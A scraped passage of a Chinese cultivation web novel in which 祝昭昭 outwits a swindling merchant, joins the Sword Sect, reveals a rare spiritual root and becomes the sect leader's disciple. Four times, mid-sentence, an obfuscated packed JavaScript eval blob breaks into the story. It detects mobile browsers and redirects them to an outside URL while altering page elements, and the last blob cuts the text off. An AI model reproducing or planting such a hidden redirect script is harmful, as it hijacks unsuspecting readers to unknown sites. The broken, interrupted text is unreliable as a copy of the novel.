“老板你怎么能这么说。”祝昭昭很惊讶,“你可是在这块玄铁上下了追踪禁制,怎么这么快就忘了呢?” 白月书无比震惊地看着祝昭昭。 她现在是金丹后期,连她都察觉不到的追踪禁制,设下禁制的修士最起码是元婴中期。 可就刚才的接触来看,祝昭昭最多是筑基后期。 她却发现了自己都无法察觉的追踪禁制。 这是怎么做到的? 祝昭昭当然早就注意到白月书的反应。 她要的就是这个效果。 脸上笑意更甜,祝昭昭看着明显慌张起来的老板:“老板,在剑宗的管辖小镇里开店还坑骗剑宗弟子,你这做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280490|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法是不是有点不厚道。” “你说,要是我朋友出去后上报剑宗,你以后还能不能继续在这里做生意?” 接到祝昭昭的眼神暗示,白月书正色沉声:“我乃剑宗五长老座下亲传。” 老板终于意识到事态的严重性。 态度瞬间一百八十度大转变,老板满脸讪笑地凑近白月书:“仙子竟是长老亲传,贾某人有眼无珠,实在该死。” 啪啪抽了自己几个相当响亮的耳刮子,老板挥退所有打手,又让小二收起结界:“玄铁一事,纯属意外。我当时不小心给仙子拿错了玄铁,实在抱歉。” “我现在就把真正的高阶玄铁拿出来,请仙子稍安勿躁。” 看着小二离开的背影,白月书声音微冷:“还有我师兄。请把他交还与我。” 老板点头哈腰:“这是自然。” 秦之衡最后是和端着高阶玄铁的小二一起出来的。 看着迎上来的白月书,被关了半天的他还没搞清楚状况:“月书。你这么快就凑齐了一百高级灵石么。” 看着秦之衡那充满清澈愚蠢的双眼,祝昭昭直摇头。 “没有,这事说来话长。”白月书说着,牵起祝昭昭的手,“总之,多亏这位小友,这件事才能顺利解决。” “如果不是她,我们的情况要比现在麻烦得多。” 虽然不知道发生了什么,但‘多亏这位小友’这话还是听得懂的。秦之衡闻言看向祝昭昭,朝她深深鞠了一躬:“多谢小友。” 祝昭昭很大气地摆手:“叫我昭昭就好。” 秦之衡脸上多了些笑意:“昭昭小友。” 高级玄铁被拿出来,老板看着祝昭昭手里拿那块玄铁:“既然仙子们已经拿到高阶玄铁,那么那块玄铁……” 祝昭昭怎么可能随他的意。 她装作听不懂的模样:“高阶玄铁卖五百高级灵石,算得上合情合理。但老板你欺瞒剑宗亲传,甚至意图抓走剑宗亲传这事,不是那么容易就能翻篇的。按理来说,本来应该将你押到剑宗受审判罚。” 老板的笑容僵在脸上。 祝昭昭话锋一转:“但我朋友心善,不愿让你去剑宗受苦。” “所以作为交换,这块中阶玄铁,就由我们收着。老板你看如何?” 三言两语就用五百高级灵石换了一块高阶玄铁和一块中阶玄铁,白月书看着祝昭昭的眼里都带了光。 老板声音都带了哭腔:“这,这是自然。谢谢仙子宽宏大量。” 最后由秦之衡警告了老板要诚信经营,三人走出店铺。 白月书当即就紧紧握住祝昭昭的手。 她非常感动:“多谢昭昭姑娘。今天如果不是你,我和之衡不仅要被店铺老板坑骗,甚至连高阶玄铁都不能拿到。” “真的,太谢谢你了。” 看着白月书眼底隐隐闪现的晶莹,祝昭昭不由得再次感叹第一女主的颜值。 美女心里有我,真好。 “好了。”一旁的秦之衡拍拍白月书的肩膀,“莫要吓到昭昭小友。” 他看向祝昭昭:“昭昭小友这次帮了我们大忙,之衡感激不尽。如果小友有什么愿望,尽可以与我说,只要能做到的,我都会全力帮小友办到。” 终于来了。 祝昭昭表面上云淡风轻,实则内心已经狂喜乱舞。 她眨巴眨巴眼,满脸期待地看向白月书:“月书姐姐,之衡兄说的是真的吗?” 白月书笑意柔和:“自然。” “那太好了!” 祝昭昭一拍手:“我确实有个愿望!” 这下不止是秦之衡,就连白月书都起了兴趣:“昭昭你说。” 祝昭昭脸都笑开了花。 “我想进剑宗。” 8. 打人不打脸 想进剑宗? 秦之衡态度有些动摇:“昭昭小友,我……” 没让秦之衡继续说下去,白月书再次牵起祝昭昭的手:“师兄,月书觉得此事可行。” 她言简意赅地说了一下刚才被老板打手追杀时发生的事。 “……如果不是昭昭姑娘,我很可能就要被迫动手伤那些人了。”白月书摸摸祝昭昭的头。 “竟是如此么。” 秦之衡看着祝昭昭的眼里多了考量。 祝昭昭见状,连忙点了几下头后又补充:“我来山下本就为了加入剑宗,只是剑堂今日不开门,我便想等到明日再去转转。然后在准备去客栈的功夫碰见了月书姐姐。” 随着祝昭昭的话想起什么,白月书有些心虚地移开视线。 让漂亮姐姐尴尬不是好行为,于是祝昭昭选择装作没看到:“所以如果秦仙人是因为担心我灵力低微才不想让我跟你们一起的话,你现在就可以查看我的灵根。” 秦之衡抬手制止:“不必。如果月书师妹说的属实,你的灵力不会过于低微。” “而且我也不是因为这个才犹豫。” 秦之衡的表情突然变得有点尴尬。 但犹豫了一会儿后,他只是说:“总之你若是真心想进入剑宗,那便和我们走吧。” 祝昭昭:计划通·jpg “太好了!” 兴奋一拍手,祝昭昭转身拉住白月书:“月书姐姐,我可以和你一起去剑宗了。” 祝昭昭自来熟,白月书竟然也不反感她拉着自己:“嗯。太好了。” 一边围观的秦之衡表情瞬间像是活见鬼。 但他掩饰得很好:“时间不早,那么我们这便出发吧。” “嗯。”祝昭昭笑容满面,“也谢谢秦仙人愿意答应我。” 秦仙人? 为什么到了他这就成了仙人? 都管白月书叫月书姐姐了,难道不应该叫他哥哥吗? 秦之衡很不解地看向白月书,然后得到她一脸偷笑的表情。 * 靠近剑宗的山脚下有传送阵,三人被传送到宗门前时,刚好撞见有人急匆匆地出来。 来的还是秦之衡和白月书认识的人:“夙禾,你急匆匆地是要去哪?” 被叫做夙禾的人停下脚步:“还能去哪,去找人。” “找人?”白月书有些意外,“你不是刚从秘境回来吗,怎么找人这种事也要叫你,其他人呢?” 夙禾无奈捏起眉心:“要是能叫其他人去倒是好。可惜派我去找人的是我师父。” 这下连秦之衡都忍不住插话:“七长老竟然叫你去找人?” “你也觉得奇怪。” 夙禾一副‘我就知道’的表情:“我问她到底什么人那么金贵,非要我去找不可,她不说话就算了,多问两句还要揍我。” “最后不耐烦了,也只说是必须要找到的人,还说什么本来不出意外的话应该早就到了才对。神神叨叨的,真是。” 白月书见状安慰了他两句:“总之找不找是一回事,找不找得到是另一回事,只要你去了,七长老就不会怪你。” “她倒是想怪我。”鼻子里哼了一声,夙禾终于注意到站在白月书旁边的祝昭昭,“你和之衡下趟山怎么还带回个这么可爱的小姑娘。” 白月书看着祝昭昭:“这事说来话长。” “那就不说了。” 夙禾弯下身,笑着扯了一下祝昭昭的脸:“你好啊小妹妹。” 小妹妹? 还上来就动手动脚? 脸颊被扯得有点痛,昭昭看着笑眯眯的夙禾。 要知道身为原书男女主的秦之衡和白月书,这会儿也才十七岁。她只差两人三岁,也能被叫做小妹妹? 而且他下手不轻,捏起人来真的很痛啊! 恶从胆边生,祝昭昭睁大眼,直望进夙禾瞳孔:“大哥哥。” 夙禾继续捏捏:“嗯?” 好小子,你还捏上瘾了。 这是你自找的。 深吸一口气,祝昭昭开始蓄力。 “拜月节那天在房顶一边哭一边唱歌,还去教六长老的灵兽骂人的人,是你对不对。” 此话一出,万籁俱寂。 秦之衡和白月书齐齐瞪大眼睛,满脸震撼地看着蹲在地上的夙禾。 白月书欲言又止:“难怪最近我们路过六长老的灵兽园总会被那只言鹦骂,可它以前明明都只会问好的。六长老都快气疯了。” “原来是你……” “不是我!”夙禾额角的汗都快流成小溪,“……怎么会是我,那晚我根本不在宗门里。” “你在。你在七长老藏酒的地方。” 祝昭昭面不改色:“你喝了七长老的酒,又去六长老养灵兽的地方,而且七长老已经在酒窖里发现你留下的踪迹了。” 祝昭昭无情审判:“大哥哥,她会狠狠教训你的。” 夙禾瞳孔地震。 猛地一下站起身,他轻咳两声:“嗯,突然想起来我师弟在刚从历练地点传了封信给我,让我去帮他的忙。” 白月书皱眉不解:“可是七长老还让你去找人不是吗?” “找人我当然也不会忘。”夙禾召出本命剑,“找到了,我会送他回来;找不到,我就直接传信给我师父。总之这段时间,我都不会回宗里了。” 他御剑腾空,一瞬只剩声音从很远的地方传来:“所以你们一会儿回去记得帮我和我师父说一下,告诉她我会带些好吃的好玩的给她,让她不要生气,容易变老。” 不断回响的余音里,秦之衡和白月书对视一眼,最后异常沉默地把祝昭昭带进宗门。 一路上甚至因为太安静,引起202不安:“主人,这不对啊。你明明没和那个叫夙禾的人有接触,却能准确猜出他做过的事,这难道不反常吗?男女主为什么不觉得你很奇怪啊?” “我很奇怪?”祝昭昭对此不以为意,“202,你是不是忘了天玄山卜卦预言这一派。” 202:“我当然知道,但你不说就算了,一说这不是显得你身份更可疑了吗?” “可是谁规定有预言卜卦天赋的人,就一定全部都要在天玄山?”祝昭昭一脸‘你是不是傻’的表情,“有这个天赋的人就不能选择别的宗门教派?” 202恍然大悟:“你这么说的话还有点道理。” 祝昭昭不屑:“我什么时候没有道理。” 202:…… 自从上次任务失败后,她对我越来越敷衍了。好随便,好残忍,好痛苦。 202:流泪猫猫头·jpg 无视悲春伤秋的202,祝昭昭目光追着正在空中打架的两个人:“而且如果没猜错的话,夙禾师父要他找的人,很可能就是我。” 202这下是真坐不住了:“不会吧?如果他们要找的真的是你,岂不是意味着你师父和大长老后面又写信给剑宗了?” “那剑宗知道你的身份了怎么办?我们还能继续任务吗?” 祝昭昭跟着白月书走过一个拐角:“为什么不能。” 202高声:“可是男二要是知道了你的身份,一定会找机会干掉你的!” “对。”祝昭昭表示赞同,“正因为如此,我师父和大长老这封信才送得正确。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280491|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 202:“……什么意思。” “202,你觉得以我师父和大长老的对我的态度,他们两个是听我的不送信可能大,还是瞒着我,偷偷送信可能大?” 202想了一下:“从结果来看,他们送了。” “对。”祝昭昭笑,“从一开始,我就没觉得他俩会听我的不送信。我真正想要的,也不是他们真的放任我一个人隐姓埋名来剑宗,苦哈哈地从初级弟子开始历练。” 202蹦蹦两下:“那主人你想要的效果到底是什么?” 祝昭昭不紧不慢:“由我师父他们暗示我天玄山弟子的身份,让剑宗知道天玄山大祭司和大长老都特别关注的人去了剑宗。” “同时因为是瞒着我偷偷送的信,所以他们不会直接对剑宗挑明我的身份,剑宗也就不会大张旗鼓地特殊化我的地位,表面上,我就能像普通弟子一样生活。” 202终于明白:“主人你的意思是,你既想要剑宗知道你的特殊,又想要剑宗不会因为你的特殊而光明正大优待你。也就是你既想要好处,又不想要随之可能会带来的麻烦。” 祝昭昭沉默了一下:“202,我觉得你应该添加一下说话的艺术这个小插件。” 202留给祝昭昭一个背影。 一人一系统交流着的当口,秦之衡和白月书也停下脚步。 白月书先开的口:“到了,昭昭。” 祝昭昭跟着两人走进去。 和外面看起来的小巧秀气不同,踏进楼里的瞬间,祝昭昭感觉周围景色极速变换,等到能看清环境时,眼前已经开阔了数倍不止。 非常高阶的空间术法,非化神期做绝对无法做到这种程度。 默默在心底下了判断,祝昭昭走到白月书身旁。 她正站在一张高大桌子旁:“昭昭,秦师兄已经去叫今天的值班师兄了,你先在这等等。” 祝昭昭乖乖点头:“嗯。” 整个大厅被分成几个单元,让新人测试灵根的只是其中一个单元。剩下的单元里,祝昭昭分别看到了派任务的,约擂台的,兑换门派积分的,竟然还有出售山下各家店铺的折扣券的。 她甚至看到有几个弟子在争一家炼器坊的优惠券。 祝昭昭很不解:“月书姐姐,宗门里没有专门炼器的地方吗?” “当然有。” 白月书显然也看到了那边的争执:“但宗里炼制的武器款式不够时新,有的人就会在宗门里炼出武器后,再在山下的炼器坊调整剑的花色和款式。” 祝昭昭不明觉厉,“剑之一器,说到底也只有那几个款式。再不时新能不时新到哪去?” 白月书脸上一瞬露出了非常复杂的神色。 想了想,她示意祝昭昭朝一个方向看,“你看那边。” 祝昭昭顺着白月书的眼神看过去。 然后被一柄通体灰色斑驳不匀的,十字架造型的,和人大腿那么高的铁剑震撼到瞪大双眼。 ‘十字架’的两端甚至一长一短。 祝昭昭陷入了长久的沉默。 她忽然无比理解那边几个争炼器坊折扣券已经争的好像快打起来的弟子。 好家伙,这款式已经完全和审美无关,纯纯就是随便融了块铁的程度。 搁谁有能力改的时候会不改? 祝昭昭感慨万千。 也就在这时,秦之衡带着一个男人走了过来。 “昭昭,这位是王肃王师兄。” 顿时换上一副笑脸,祝昭昭抬头:“王师兄好——” 剩下的话,在她看见王肃背后那柄长短不齐的‘十字架’后,震撼地忘了个一干二净。 9. 我与师弟兄弟情深 竟然! 真的! 有人! 能就用这样一柄剑! 这是怎样一种不被人群裹挟,坚守自我审美的可贵精神! 祝昭昭肃然起敬。 王肃当然没注意到祝昭昭的反应。 低声‘嗯’了一下权当是回应,他走到桌子里坐下,开始整理桌上散乱的本子和纸。 王肃问她:“就是你要做灵根测试?” 祝昭昭坚定点头:“嗯。” “伸手出来。” 王肃边整理,边点了一下桌子最左边的透明晶球:“手掌放在上面,闭眼深呼吸。” 祝昭昭依言照做。 闭上眼的瞬间,她听到秦之衡克制中带着不解的声音:“师妹,你再揪我的袖口就要裂了。” 祝昭昭差点笑出声。 掌心很快传来一阵温热的感觉,应该是体内灵力显现在晶球上的表现。祝昭昭正偷偷嘀咕着,想看看晶球现在是怎么个情况,就突然听到周围传来倒抽气的声音。 紧接着是陌生但震撼的男声:“竟然是天灵根!” 天灵根? 倒是预料之内。 暗忖着睁开眼,祝昭昭就看见白月书满脸欣慰地看着自己,她身旁的秦之衡揪着自己袖口,表情虽然没她那么明显,但神情也还是柔和的。 只有正坐在她对面的王肃—— “水灵根。”他从手边小盒子里拿出一块木牌,“按照属性,推荐你去济世堂,济世堂司掌灵植种植与医术,与你较为适合。” “但因为你是天灵根,所以你也可以选择哪都不去,等心仪你的长老来寻你。” 王肃补充:“不会等太久。” “如此。”看着流转莹莹水光的晶球,祝昭昭点头,“那如果我想选择心仪的长老呢?” 王肃应该是第一次听见这种要求。 但诧异的表情一闪而过,他很快抽出一张纸拍桌上:“介绍表,上面有关于剑宗的大概资料,你可以参考。” “好的。”祝昭昭低头望着递过来的表,却没有接。 因为她在晶球里看到了别的东西:“王师兄,我在晶球里看到了另外的颜色。” 这在王肃这里也是常见现象。 所以他头也不抬:“如果有其他色,那就是双灵根。那就不会有心仪你的长老,你可以好好在介绍表里挑选喜欢的分堂。” “好像不对。”说话的是白月书,“王师兄,晶球里面的颜色是金色,而且只有一点点在中心。” 一点点?金色?中心? 这下不止是白月书,就连秦之衡都看了过来。 王肃本来平静写着字的手也突然一抖。 他停下手里动作:“你说,金色?” “对。”祝昭昭终于看清楚晶球里的色彩,“一点点金色被包裹在水蓝色里,而且金色亮一分,蓝色就会比金色更亮一分。” “蓝色完全跟着金色在变化。” 祝昭昭说完最后一个字,王肃霍然起身。 动作之大,吓得所有人都停下动作看着这边。 秦之衡皱眉:“王师兄,有什么不对么。你为什么突然站起来。” “金被水围,是金生水之象。”王肃一双眼直勾勾盯着晶球,“五行顺生,水生有源,这是比单纯水灵根更罕见的存在。” “而且作为含金之水,昭昭师妹还会有鉴宝之能。” 此话一出,周围哗然。 白月书更是激动地差点握住祝昭昭的手:“太好了昭昭,灵根有源,这样的人百年难得见到一个,你竟然就是宗门里的第二个!” “昭昭你太厉害了。” 彩虹屁之外,祝昭昭注意到了另外的信息:“第二个?” “没错!”白月书重重点头,“那第一个,是我的大师兄——” 祝昭昭脑子里突然拉响警报。 不会吧。 不会是他吧。 “慕行秋!”白月书满脸敬佩,“而且好巧,大师兄是土源生金的金系天灵根,刚好与你顺生呢。” 啊,行吧。 祝昭昭神情复杂。 静静在边上听完白月书和祝昭昭的对话,王肃终于等到了说话机会。 一改刚才公事公办,谁都不甩的状态。他直接从桌子后面出来,往祝昭昭的方向走。走之前甚至还很郑重地整理了一下衣服和头发。 祝昭昭都看懵了。 这哥们儿什么情况? 眼里多了自己都没发觉的警惕,祝昭昭看着来到自己跟前的王肃:“怎么了王师兄,你有什么事吗?” “我确实有事。” 再次整理了一下头发,王肃直直看着祝昭昭:“请问昭昭师妹,是否有兴趣来二长老门下。” 一瞬间,白月书和秦之衡看着王肃的目光都带种‘这家伙是不是吃错药了’的诧异。 祝昭昭下意识想看看手里的介绍表:“二长老是——” 然后被王肃拦下:“昭昭师妹不着急看那个,王师兄会好好跟你介绍一番。” “二长老司掌刑罚,座下弟子包括我一共三人,我在其中排第一。” 王肃言简意赅:“二长老为人正直,只有在对待犯错误的弟子时严肃,其余时候友善亲和,我们弟子三人都非常敬重她。” 王肃说到‘其余时间友善亲和’的时候,祝昭昭明显听到白月书和秦之衡清嗓的声音。 作为在各个位面摸爬滚打无数次的祝昭昭,岂能不知道那是什么意思。 所以她面带微笑地阻止了还想继续说的王肃:“王师兄想说的事,昭昭一会儿会在介绍表上仔细查看,谢谢王师兄愿意耐心和我介绍二长老。” 祝昭昭话锋一转:“但不论如何,昭昭还是想自己好好了解后再做决定,这样今后也不留遗憾。” “昭昭在此再次谢谢王师兄。” 收回贴在晶球上的手,祝昭昭给王肃行了一礼,作为这次话题的结束 “既然昭昭师妹心意已决,我再插手反倒有多管闲事之嫌了。” 王肃颇为遗憾地摇摇头。 祝昭昭听到白月书和秦之衡轻轻松口气。 她都开始有点好奇这二长老究竟得是什么样的狠角色,才能让男女主都怕成这样。 思忖着,祝昭昭目光无意识落在王肃身上。 明明背脊挺得笔直,整个人却散发着苍凉又萧索的气息,配个小白菜地里黄的bgm毫无违和感。 祝昭昭见状刚想安慰王肃两句,就看他整个人突然浑身一震,然后开始翻找什么。 随着一道光闪过,他手里多了一块沉甸甸的东西。 王肃满脸期待:“昭昭师妹无意拜入二长老门下已成定局,那师妹能不能帮师兄看看,这块并金,是什么品阶?” 秦之衡惊讶地看着王肃手里的并金:“王师兄,你竟寻到了并金这等宝物。” 王肃面无表情的脸上隐约多了点得色。 不怪他尾巴翘上天,实在是作为炼器材料中的上上品,并金是比高阶玄铁更优秀的存在。 更何况王肃手里那块已经有他一个手掌那么大。 王肃一副云淡风轻的模样:“此物是我二师弟割爱与我的。” 白月书意外:“竟是陈青师弟么。” “没错。”白月书的讶异极大地满足了王肃装*的愿望。 他看起来更得意了:“那日我师弟主动找到我,与我说他手中有块珍品材料,但因那材料与他属性并不十分相合,于是看在我与他师兄弟一场的份上——” 祝昭昭抢话茬:“赠与你?” 这算传统戏码。 王肃摇头,看祝昭昭像在看涉世未深的孩子:“他本的确意欲赠我。但身为大师兄,我又怎能平白让师弟赠我珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280492|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 材,自己却什么都不付出?” “我给了他八百块高级灵石作为报酬。” 八百块! 祝昭昭都惊了。 目光从王肃背后的‘十字架’移到他黢黑的面孔,最后移到他手里那块泛着淡淡光华的并金,祝昭昭沉默了。 那边王肃还在为自己的话做最后总结:“不过缘分罢了,秦师弟日后也会遇见的。” 缘分。 好一个缘分。 她刚把两个傻白甜从挖矿危机里捞出来,转眼又见到一个大冤种被师弟骗。 剑宗这帮子内门脑子里到底有社会经验这种东西存在吗? 祝昭昭面无表情地盯着那块并金。 王肃很快注意到祝昭昭的目光:“对了昭昭师妹,你还未回答我,这块并金究竟是什么品阶。” 祝昭昭抬头,正对王肃满含期待的眼神。 惨。 实在太惨。 这玩意它就不是并金。 可在王肃眼里,手上这东西是师弟让给自己的宝物,是他们兄友弟恭的证明,是同为二长老的弟子的两人,情谊的象征。 祝昭昭怎么能实话实说? 她只能想一个完美的回答,一个即道出真相,又能维护他们情谊的回答。 祝昭昭深呼吸。 “这玩意是假的。” 空气安静了几秒。 脸上的表情从得意到震惊,最后回归平静。无视过来劝慰他的秦之衡和白月书,王肃沉默地,缓缓地并金放到身后的桌子上。 紧接着一下子抽出背后的‘十字架’开始擦。 擦完以后,他又从空间袋取出一小坛酒,先喝一口,再喷一口在剑上。 一套动作行云流水,看得祝昭昭都想鼓掌。 好一个斩首大准备。 秦之衡和白月书都慌了:“王师兄,其中定有误会,好好解释清楚便可,切莫做让自己后悔之事!” 白月书试图叫祝昭昭一起劝:“昭昭,你也快来劝劝王师兄!” 祝昭昭望了眼门口。 差不多要到了。 她慢悠悠朝正在拉扯的三人走去:“就来。” 这边王肃显然已经气昏了,说什么都不肯放下手里剑。加上他本就比秦之衡和白月书修为高,于是拦到最后实在是拦不住的两人不小心松了力,王肃立刻闪身出现在大门不远处。 他声音低沉:“骗我灵石者,必将被我斩杀。” 明明是无比平静的语气,在场的人却都听出了一种可以准备帮陈青收尸的味道。 秦之衡和白月书急得不行,已经在商量要不要给二长老报信。祝昭昭脸上表情却没什么变化,只是静静站在原地。 她在倒数。 倒数来到最后一个数时,大门处突然卷起一阵狂风。 风很大,却诡异地没有吹动任何人或物,只有往门口冲的王肃当场被吹得往回滚,最后准确无比地滚回桌子边。 与此同时,一道中气十足的童声响起:“天天被陈青小子骗得团团转,王肃小子,你什么时候才能把你修炼的心思分一点在长心眼上。” 狂风消失,祝昭昭身前多了一道身影。 “你好呀,小丫头。” 缓缓把头低到差点贴上胸口,祝昭昭终于见到说话的人。 一个大人模样打扮的男娃娃。 男娃娃长得很可爱,眉心一点红色更是衬得他整个人唇红齿白,肉嘟嘟的包子脸看得祝昭昭手都有点蠢蠢欲动。 她轻声开口:“您是……” 白月书悄悄去扯祝昭昭的衣袖:“昭昭,这是宗主。” “叫我掌筠就好。”抬手示意白月书不必说话,掌筠笑眯眯地看着祝昭昭,“你来这里,是想做什么?” 祝昭昭眨眨眼。 片刻后,她也笑起来。 “当然是来修行。” 10. 要不要来颗灵果 大家显然没听懂这段没头没尾的对话。 但白月书很担心祝昭昭,她怕掌筠觉得祝昭昭冒犯了他。 于是她轻轻搂住祝昭昭的肩膀:“宗主,昭昭是我凑巧在山下碰到的,她说她很想来剑宗修炼,所以我——” 掌筠笑着朝白月书点点头:“我知道。” 白月书终于放心。 “好了。”掌筠打了个响指,“那小朋友我就先带走咯。” 不等白月书等人反应,掌筠朝祝昭昭眨了一边眼睛。下一秒,两人消失在原地。 晕了小半晌的王肃终于悠悠转醒:“我这是……我怎么突然晕了,我的并金怎么就这么摆桌上了??” 一听‘并金’两个字,站在他身旁的白月书和秦之衡两人顿时齐齐移开视线。 最后还是实在顶不住他眼神攻击的秦之衡开了口:“这事说来话长。但王师兄,我建议你先去找二长老比较好。” * 要说宗主不愧是宗主,一眨眼的功夫,祝昭昭就发现自己已经身处另一间屋子中。 摆摆手,掌筠自己先走到主位处:“随便坐。” 目睹他吭哧吭哧迈着小短腿艰辛地往座位上爬,祝昭昭一瞬间感觉自己好像回到了现代社会,正在看小朋友驯服椅子全过程。 不是,您不是宗主吗?明明动动手指就能解决的事,费劲巴拉手脚并用地爬的理由是什么? 这是什么新型play吗? 祝昭昭陷入沉思。 好不容易爬上椅子,掌筠看祝昭昭还站在原地罚站,遂小手一挥,一张椅子直接出现在祝昭昭身后。 他拍拍扶手:“坐呀,傻站着干什么。” 祝昭昭:…… 大佬想法难以琢磨是常见情况,我了解。 她从善如流地坐下去。 “昭昭。”掌筠念出祝昭昭的名字,“月书丫头和之衡小子都很喜欢你,尤其是月书丫头,不仅非常关心你,还很信任你。” 想起山下的经历,祝昭昭本来想说两句客套话意思一下。 然后很快就听到掌筠继续说:“但你和他们不过刚见第一面。” 她立刻闭嘴。 不过掌筠好像也没有非要她说两句的意思:“月书丫头性子谨慎,也不太爱说话。在宗里这么些年,极少见到她与谁特别交好。” “更不要说之衡小子,那更是无聊得不得了。整日就知道拿他大师兄行秋小子做榜样修炼,其他事情一概不知晓,有时候我都怀疑他是不是修炼把脑袋修没了。” 再次不受控制地想起在山下的炸裂经历,祝昭昭没敢说话。 但如果非要她发表些意见,她会建议掌筠先给剑宗上下所有人来场社会实践相关大培训。 最好加入必修课程,考核不过不给下山那种。 思维正发散,祝昭昭突然听到上方的掌筠话锋一转:“但你竟然能让这两个实心眼的家伙对你信任有加。” “天玄山什么时候能教出你这样的丫头了。” 祝昭昭看着掌筠。 对上祝昭昭的目光,掌筠嘴角多了些笑意。 他问:“你师父近来情况如何。” 祝昭昭答:“谢宗主关心,家师很好。” “大长老呢?” 祝昭昭想起司星抹眼泪的模样:“……大长老也很好。” “是么。”掌筠两条腿在椅边晃荡,“听说他前段时间和曾书闹了些不愉快,我还担心他在生剑宗的气。” 祝昭昭摇摇头:“与贵宗五长老一事,本就是大长老有错在先。他心中愧疚还来不及,怎会对剑宗有气。” “宗主多虑了。” 将祝昭昭的表情看在眼里,掌筠晃晃脑袋:“我与你说这些,只是为了聊聊天罢了,你不用那么拘谨。” 想了想,他从口袋里摸出一颗黄色的灵果递给祝昭昭:“要不要吃?” 盯着那颗灵果看了会儿,祝昭昭沉默了一下,拒绝:“不用了,谢谢宗主好意。” 谁敢吃啊。 颇有些遗憾地看着手里灵果,掌筠吃之前还很有仪式感地用袖子擦擦果子,最后才‘咔嚓’下去一口。 他边吃边问:“既然我们之间已经开诚布公,昭昭丫头你待在剑宗的这段时间,就直接归入我座下如何?” 开诚布公是这么用的? 祝昭昭很是深入地思考了一下刚才那种三百六十度绕圈式的谈话,到底和开诚布公有哪门子关系:“谢谢宗主厚爱,但昭昭心中已经有想要去的座下人选。” “哦?”掌筠被引起好奇心,“那你说说,你心中的人选是谁。” 祝昭昭想都不想:“五长老曾书。” 掌筠这下才是真被惊到,手里的灵果都差点被他使劲榨成汁:“曾书?” “他可是刚才与你们大长老闹过矛盾,你竟然还要去他座下?” 祝昭昭公式微笑。 谁不知道司星刚刚才去招惹人家。问题是男女主包括大反派都是人家的亲传徒弟,她一个位面维护员不往主要角色身边跑往哪跑? 就这最重要的一点而言,哪怕是司星被曾书揍扁,揍得他得在天玄山躺上三天,她都要毫不犹豫地跑曾书跟前去。 不过这种可能性几乎小到能忽略不计,曾书被司星揍得要在床上躺三天的几率倒是更大。 祝昭昭收起脑内畅想,开始编理由:“方才在山下时,我和月书姐姐相处的很愉快。她对我很好,我想和她待在一起。” 掌筠对此不置可否:“可是在我座下,你会更自由哦。” “昭昭知道。”祝昭昭眼看着掌筠又摸出一颗新果子,“但据我所知,宗主您座下并无弟子。我一个人跟着您倒是没关系,可……” 你有空搭理我吗? “谁说在我座下就一定要跟着我修炼?” 掌筠一脸‘你怎么会这么想’的表情:“我的本意是让你挂名在我座下,但修炼这方面你要自己去找人教。” “我哪有那个闲工夫教你。”掌筠一口咬果子上。 祝昭昭先是一怔,然后很快意识到什么。 这确实是个好主意。 虽然闵月司星的确给剑宗送了信,但归根结底,天玄山和剑宗是两个宗门。哪怕有两人为自己背书,但在剑宗,这份影响力总归不是很大。 掌筠却不同。 身为剑宗宗主,他的身份在剑宗就是一种绝对的象征。归入他的座下,等于必要时刻,她祝昭昭可以拿‘宗主徒弟’这个身份来用。 这要比只有几个剑宗长老知道她是天玄山来人的情况,要更加有利得多。 有了这层身份再去曾书那里修行,等于在剑宗里有掌筠这个剑宗宗主给她背书。那她不说能在剑宗横着走,至少要是不小心犯了一些无伤大雅的小错,不会被一顿罚吧? 飞快分析好利害关系,祝昭昭顿时打起精神。 态度也随之一百八十度大转变:“宗主,我忽然觉得您的意见其实非常有道理。” 虽然态度很傲娇,但祝昭昭这马屁显然让他非常受用:“归入我座下后,想选谁来教导你、想和谁待在一起都随你意。有实在理解不了的问题的时候可以再找我。” 说着想到什么,掌筠又悄声嘀咕一句:“不过我看这种时候也不会太多就是。” 祝昭昭没听清:“您说什么?” “没什么。”掌筠再次抓出一颗新果子,“没问题的话,之后我会通知其他长老你被纳入我座下这事。之后你就可以自由行动了。” 祝昭昭很开心:“谢谢宗主。” 掌筠挑眉:“你叫我什么?” 祝昭昭很上道:“谢谢师父。” 掌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 